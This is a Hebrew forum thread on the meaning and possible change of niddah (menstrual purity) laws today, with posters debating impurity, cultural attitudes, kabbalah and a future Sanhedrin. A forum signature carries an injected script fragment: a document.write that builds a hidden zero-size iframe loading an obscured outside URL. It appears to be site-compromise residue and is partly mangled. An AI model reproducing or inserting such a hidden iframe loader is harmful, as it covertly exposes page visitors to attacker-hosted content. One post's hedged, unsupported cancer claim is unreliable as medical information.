משמעות הלכות נידה בימינו

ובכן - בכל זאת הועלתה כאן סברה שהלכות נידה אינן תורמות לשלום בית ואולי רצוי שהאשה תתגנה על בעלה.
מי התיר אם כן להאריך את ימי הנידות בחומרת שבעה נקיים, האם שלום בית אינו ערך, או שכל החומרה הזו יכלה להתחדש רק אחרי שר' עקביא היתר לנדה להתקשט.

  כמה אפשר לשבש כמה שורות ,,וכבר אמרו ,,מלמדה תפלות.....ומי יבוא אחר המלך,,

.


"...דכולהו נשים דידן חשובות נינהו וצריכות הסיבה"

בחזרה לנושא המרכזי.

אנסה לעשות סדר, או למצער לאסוף כיווני פירוש.

א. פירוש המילה "טומאה". אבן שושן מציין שהמילה יכולה לציין לכלוך (זוהמה בלשונו) או להיות ההפך מטהרה.

ב. פרופסור סילמן היה הראשון שהצביע על כך שהאיסורים והחלויות של התורה, כגון טומאה וטהרה, יכולים להיתפס כמשקפים מציאות, או כענין הסכמי.

ג. יש מחקרים רבים שעוסקים בטיבה של טומאה, חלקם תורגמו לעברית. מבוא וסיכום יפה מופיע בספרה של ורד נעם "מקומראן למהפכה התנאית". אני אחד מאלו שממליץ תמיד להביא את הדברים ולסכמם ולא רק לתת לינק. אבל אין באפשרותי כרגע.

ד. למרות שהגישה ההיסטורית נראית כחולקת על תפיסתנו שדברי חז"ל הם המשך ישיר לדברי התורה, עדיין התשובה הפשוטה לשאלת מואדיב כיצד הטומאה מגיעה או מסתלקת בענין טכני של פירוק התנור - כפי שכבר הוזכרה כמדומה לעיל - היא שחז"ל עסקו בפירוש שיטתי של הדינים בתורה. וכאשר דינים מופיעים במקרי מינימום ומכסימום, הם כבר אינם בהכרח מעניקים לנו אותן תחושות חזקות שהדין בצורתו הפרדיגמטית גורם.

ואולי באופן יותר ברור, פחות מופשט: יש טומאות שניתן להבין שהן יוצרות תחושה של תיעוב ומיאוס. כאשר דנים על מקרה תיאורטי מוקצן של העברת טומאה, התחושה הולכת ומתפוגגת עד שלא ברור למה שהיא תהיה שם - אילולא כך פירשו חז"ל.

ה. בשעתו, באשכול אחר, הבאתי מה שמצאתי באיזו אנציקלופדיה על היחס למחזור בעמים בעבר הרחוק (ואולי גם היום). הרושם שלי לפני העיון היה שדם נידה וכל תופעת המחזור מעוררת תחושה

1. מוזרה
2. מפחידה או מגעילה

אצל בני העם ולפחות אצל הגברים. אבל לצערי איני זוכר את הפרטים ואולי זכרוני מטעני.

נדמה לי שבחברה המודרנית, כטענת פותח האשכול, כלומר הנכרית (ואיני יודע נתונים לגבי יהודים בארץ) אין דווקא תחושה של ריחוק מאשה בזמן המחזור. כפי שציין פותח האשכול, המונח "מחזור" אינו מעורר אותן אסוציאציות וקונוטציות (=מושגים נמשכים ותחושות נגררות) כמו המונח "נידה" ו"טומאה".

בכל אופן, אם מקבלים את הגישה שהתורה נטלה נתונים תרבותיים ועיבדה אותם לצרכים חינוכיים, כגישת הרמב"ם, לא יהיה זה פסול לשער שכך היה גם ביחס לנידה. העמים היו מסוייגים מהתקרבות לאשה בזמן נידתה, והתורה עיצבה זאת בדיני הנידה.

ו. כבר הזכירו שאין פסוק מפורש לגבי טבילת נידה כדי ליטהר. אמנם הסברה נותנת שתתחייב לטבול כמו כל הטמאים.

ז. למצוה אחת ייתכנו טעמים רבים. הריחוק הזמני הכפוי בזמן הנידה יוצר געגועים לזמן ההיתר. (יוצאי דופן כמו אשה עם יד מגובסת - אם זה מעכב טבילה - אינם דוגמא סותרת כיון שהתורה מציבה כללים ולכל כלל יש יוצאי דופן).

ח. כמה מילים על תפיסות תרבותיות ושינויים תרבותיים.

דווקא מאז התפשטות האמונות הקבליות נוצקה משמעות, שלא לומר איום, ברעיון של טומאה. המאמין בקבלה יחשוש מטומאת נידה לא פחות וכמסתבר יותר מן הזקנים בברייתא שמביא הרמב"ן. בעולם המודרני דם הוא תופעה ביולוגית. אבל כמדומה שגם אצלנו, בני המאה ה21, הדם נראה מפחיד למי שנתקל בו. יוצאי דופן הם הרופאים שיש להם פסיכולוגיה מיוחדת משלהם. נכון שהלימוד בבתי הספר יכול לסייע לאדם לראות את הדם כעוד נוזל (לא בוכים על דם שנשפך כי רובו מים) אבל האם הגישה האינטואיטיבית והפרימיטיבית במובן של הסתכלות של ילד אינה כזו?זה לא נעקר גם עם שינוי התרבות מדור לדור.

ט. האם הלכות ישתנו כאשר היחס למציאות שההלכה חלה עליה ישתנה? אולי. ניתן לחשוב על דוגמאות כאלו. אבל כאשר מדובר בהלכות מושרשות כהלכות נידה, קשה לצפות שזה יקרה ומסתבר שאין זה ראוי. אבל אם יבוא יום שבו יתברר שאין שום בעיה רפואית או היזק בימי הנידה, ואם תקום סנהדרין שתהיה לה סמכות לפרש מחדש, אפשר שניתן יהיה לשנות את דיני הנידה. אלו הרבה מאד "אמ-ים" שנועדו לדחות בצורה אדיבה את ההשערה של פותח האשכול שאם יחסנו לנידה ישתנה, אז גם דיניה ישתנו.

י. עם זאת, מסתבר מאד שראוי ללמוד את הדינים האלו היטב, כי בדוגמאות שנזכרו לעיל שולבו דינים מן התורה ומדרבנן לצד מנהגים וחומרות (ודעתי לגבי אלו ידועה).

יא. יש הטוענים שקיום יחסי אישות בזמן המחזור מעלה את הסיכוי לסרטן. טענה זו נכללה בפירסומות של אלו שמנסים לסייע לשמירת דיני נידה בכל הציבור היהודי. איני יודע להעריך את הדיוק שבפירסומים אלו. נדמה לי שד"ר הלפרין, לשעבר משתתף בפורום שלנו, התייחס לנושא זה בעבר ואולי מישהו ימצאנו. לפי הטענה שיש נזק רפואי (מסיבות לא ידועות אבל בתור קורלציה מוצדקת סטטיסטית) אכן צריך להיזהר מקיום יחסים בתקופה זו. אבל צריך לבדוק את הנתונים הרפואיים וצריך גם לדעת שההלכה אינה תלויה בנתונים אלו (אם כי הלכה יכולה היתה לצמוח מתוך הבנה רפואית כזו או אחרת).

___נוספת מילת הבהרה. חוששני שכתבתי מתוך עייפות אבל לא עכשו אימתי______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

כל זמן שדנים במצבנו הנוכחי, אולי ניחא, אבל אנחנו טוענים לפחות שאנו מצפים לחידוש תורה במילואה, האם נוכל אז גם לומר ניחא?

צופר

לא הבנתי את השאלה. האם כוונתך לשאול שכיון שהשתנתה התפיסה של המחזור בתרבות בת הזמן אז יש לשנות גם את דין תורה?

אם זו כוונתך, אז צריך לבדוק כמה דברים:

א. האם ניתן לשנות דינים מן המסורת כיון שהשתנה הטעם? ראה את הדוגמא הקלאסית הסותרת. טריפות, כלומר בהמות כשרות שנפגעו באופן שהיה גורם למותן בימים עברו ולא היו מחזיקות מעמד שנה אך היום אפשר לרפאן - והן עדיין טריפות לפי הדין.

ב. האמנם היחס שלנו לדם הנידה ולתופעות המחזור באמת השתנה עד כדי כך? או שיש כאן כפילות, גם אותה הסתייגות כפי שהיא משתקפת בתודעה שלנו, מתחת לכל הפרשנויות התרבותיות, וגם הפירוש המודרני שקובע שזה הליך טבעי ונורמלי ולכן אין צורך שיטמא כי אין הוא מעורר חשש, תיעוב או פרשנות מאגית?

ג. אתה שואל על ימות המשיח או המקבילה שלהם במובן של חידוש מועצת החכמים היא הסנהדרין. האם אנו יכולים לדעת מראש מה יחשבו בסנהדרין? אין לנו את הנתונים של הזמן כפי שיהיו בימיהם. יכול אתה רק לשאול: אילו היתה סנהדרין בזמן הזה, מה היתה התייחסותה הראויה לשאלה זו, אם אנו מוכנים לקבל שניתן לפרש מחדש את דיני התורה ולעקור מצוות ולשנותן לגמרי. אם זו טענתך, אני סבור שאפשר להעלות על הדעת שתישאל השאלה איך יש להבין היום ובזמננו, בתרבותנו ובטכנולוגיותנו, את תופעת הנידה. אבל במקביל לבי אומר לי שזו שאלה ש"אינה מתחילה" כפי שאומרים זאת בשפה הישיבתית. דומה שהנחת היסוד שלך לגבי שינוי תפיסה תרבותית לגבי נידה אינה תואמת את המציאות בשטח. ואם תטען שיש קבוצה מסויימת של בני אדם שרואים כך את התופעה, אחרת מן הגישה ההיסטורית, עדיין אסבור שהם מיעוט ואין מקום להתחשב בתחושתם ובתפיסתם. כמובן אפשר שאני טועה ואתה מוזמן לנמק ולהראות כי שינוי התפיסה הזה חדר גם לתוך החברה היהודית, הדתית והחרדית, עד שתופעת הנידה שוב אינה מעוררת אותם רגשות ראשוניים כמו בחברות עתיקות יותר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

האם מישהו מאתנו חושש ממבטה של הנידה, אוסר עליה להיכנס לבית הכנסת ולהצביע על ספר תורה?
השאלה היא האם כשאנו מתפללים לחזרת המקדש, אנו מודעים למה שאנו מתפללים?

אתה שוב ושוב חוזר על ההנחה שלך מבלי שהבאת לה שום מקור, מה פתאום שחשש ממבטה של הנדה או איסור כניסה לבית כנסת יהיו חלק מההלכה המתחדשת או הלא מתחדשת, אלו שני מנהגים שאין להם שום יסוד בהלכה, ומעולם לא היו חלק מהתורה שבכתב או שבעל פה, מה הקשר לחזרת המקדש? האם גם התרפים של לבן הארמי יחזרו?

צופר

יפה שאלת. זו הזדמנות להצביע על כך שיש שתי נקודות שצריך לברר.

א. האם החשש ממבטה של נידה וכיו"ב הוא חלק מן המסורת.

עד כמה שידוע לי לא. אבל אתה מוזמן לציין מקורות לטענה מעניינת זו.

ב. אם זה אכן חלק מהמסורת, לא רק אמונה מקובלת בימים ההם אלא דין מדיני התורה - האם כאשר יחזרו ההלכות לתיקונן, האם הן יחזרו במלואן, או שאפשר - או שראוי - יהיה לשנות במידה זו או אחרת? אין כוונתי לשינוי שאינו מוכר בכללי ההלכה (או המטא הלכה במובן של הכללים הקובעים איך מתבצע שינוי) אלא לשינוי לפיהם.

למשל, האם יתכן שהלכות טריפות ישתנו לעתיד לבוא כדי לכלול טכניקות לריפוי? האם יתכן שהלכות נידה ישתנו אם יהיה צורך בכך כדי להשמיט חשש לא נכון כמו ההיזק שבמבטה של נידה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");